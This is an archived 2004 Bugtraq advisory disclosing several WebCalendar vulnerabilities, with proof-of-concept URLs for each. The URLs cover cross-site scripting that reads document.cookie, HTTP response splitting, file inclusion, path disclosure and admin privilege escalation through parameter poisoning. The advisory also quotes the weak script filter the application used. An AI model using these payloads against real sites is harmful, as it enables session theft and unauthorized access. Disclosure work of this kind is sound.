lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20041109230606.32382.qmail@www.securityfocus.com>
Date: 9 Nov 2004 23:06:06 -0000
From: Joxean Koret <joxeankoret@...oo.es>
To: bugtraq@...urityfocus.com
Subject: Multiple Vulnerabilities in WebCalendar




--------------------------------------------------------------------------- 
              Multiple Vulnerabilities in WebCalendar 
--------------------------------------------------------------------------- 
 
Author: Jose Antonio Coret (Joxean Koret) 
Date: 2004  
Location: Basque Country 
 
--------------------------------------------------------------------------- 
 
Affected software description: 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 
WebCalendar - Web Calendar Application 
 
WebCalendar is a PHP application used to 
maintain a calendar for a single user  
or an intranet group of users. It can also be 
configured as an event calendar. 
 
Web : http://webcalendar.sourceforge.net 
 
--------------------------------------------------------------------------- 
 
Vulnerabilities: 
~~~~~~~~~~~~~~~~ 
 
A. Cross Site Scripting Vulnerabilities in various 
scripts. 
 
A1. WebCalendar check the &lt;script&gt;any&lt;/script&gt; 
format of XSS attacks but 
doesn't check <img src based attacks. To test the 
vulnerabilities you can try 
the following POCs:  
 
 
http://<site-with-webcalendar>/demo/view_entry.php?id=41972"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>&date=20041001 
 
http://<site-with-webcalendar>/demo/view_d.php?id=657"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)%20height=0%20width=0>&date=20041009 
 
http://<site-with-webcalendar>/demo/usersel.php?form=editentryform.elements[20];
%0d%0aalert(document.cookie);//&listid=20&users=demo,demo1,demo2 
 
http://<site-with-webcalendar>/demo/datesel.php?form=editentryform.elements[20].rpt_day.selectedIndex%20=%20day%20-%201;alert(document.cookie);//"><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)>&fday=rpt_day&fmonth=rpt_month&fyear=rpt_year&date=20041001 
 
http://<site-with-webcalendar>/demo/datesel.php?form=editentryform&fday=rpt_day"%20onclick=javascript:alert(document.cookie)>&fmonth=rpt_month&fyear=rpt_year&date=20041001 
 
http://<site-with-webcalendar>/demo/includes/trailer.php?user="><img%20src=http://images.sourceforge.net/images/head_bg_new.gif%20onload=javascript:alert(document.cookie)> 
 
http://<site-with-webcalendar>/demo/includes/styles.php?FONTS=asdf}%0A--></style>&lt;script&gt;alert(document.cookie)&lt;/script&gt; 
NOTE: Almost any GLOBAL parameter in this script 
is vulnerable 
 
 
B. HTTP Response Splitting Error 
 
B1. Due to a poor input validation in the script 
login.php HTTP Response Splitting  
attacks are possible. You can try the vulnerability 
with the following POC :  
 
http://<site-with-webcalendar>/demo/login.php?return_path=%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0a%0d%0dContent-Type:text/html%0d%0aContent-Length:9%0d%0aHi 
to all 
 
 
C. Possible code execution 
 
C1. If an attacker is abble to upload a file via ftp or 
other system to the web directory 
there is a flaw that allows to execute any file in the 
web tree. To try the vulnerability 
you can try this url :  
 
http://<site-with-webcalendar>/demo/includes/init.php?user_inc=the_file_that_you_upload_via_ftp_or_other 
 
Note: Almost this is a full path disclosure. 
 
D. Full Path Disclosure 
 
D1. Because of a poor validation of the parameter 
enconded_login in the PHP script 
validate.php, there is a vulnerability that shows 
the full path of the script in the  
web server. 
 
http://<site-with-webcalendar>/demo/includes/validate.php?encoded_login= 
(Full Path Disclosure) 
 
E. Admin Privileges 
 
E1. To make various actions you need to be the 
administrator of the webcalendar 
application but various scripts are vulnerable to 
Variable Poisoning attacks.  
Privilege escalation is possible using the following 
methods :  
 
 
Example 1 :  
 
You doesn't have permission:  
 
http://<site-with-webcalendar>/demo/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true 
 
But using it yes: 
 
http://<site-with-webcalendar>/demo/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true 
 
Example 2 :  
 
http://<site-with-webcalendar>/demo/view_entry.php?id=41972&date=20041001&is_admin=true&is_nonuser_admin=true&is_assistant=true&id= 
 
Example 3 :  
 
No permission -> 
http://webcalendar.sourceforge.net/demo/upcoming.php 
Permission Granted :) -> 
http://webcalendar.sourceforge.net/demo/upcoming.php?public_must_be_enabled=true&public_access=Y 
 
Notes 
~~~~~ 
 
The poor method that uses to protect against XSS 
attacks in the script functions.php 
is the following : 
 
// This code is a temporary hack to make the 
application work when 
// register_globals is set to Off in php.ini (the 
default setting in 
// PHP 4.2.0 and after). 
if ( ! empty ( $HTTP_GET_VARS ) ) { 
  while (list($key, $val) = 
@each($HTTP_GET_VARS)) { 
    // don't allow anything to have &lt;script&gt; in it... 
    if ( ! is_array ( $val ) ) { 
      if ( preg_match ( "/<\s*script/i", $val ) ) { 
        echo "Security violation!"; exit; 
      } 
    } 
 
Is very easy to by pass these basic security checks 
by using Unicode encoded strings,  
or using any other valid XSS attack, such as <img 
src attacks. 
 
More Notes 
~~~~~~~~~~ 
 
The developers (in special Jeff Hoover) of 
WebCalendar has been demostrated  
seriousness with the fixes and responses about 
these errors. 
 
The fix: 
~~~~~~~~ 
 
The problems has been fixed in the CVS repository. 
 
Disclaimer: 
~~~~~~~~~~~ 
 
The information in this advisory and any of its 
demonstrations is provided 
"as is" without any warranty of any kind. 
 
I am not liable for any direct or indirect damages 
caused as a result of 
using the information or demonstrations provided 
in any part of this 
advisory.  
 
--------------------------------------------------------------------------- 
 
Contact: 
~~~~~~~~ 
 
	Joxean Koret at 
joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es 
 
 
 


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ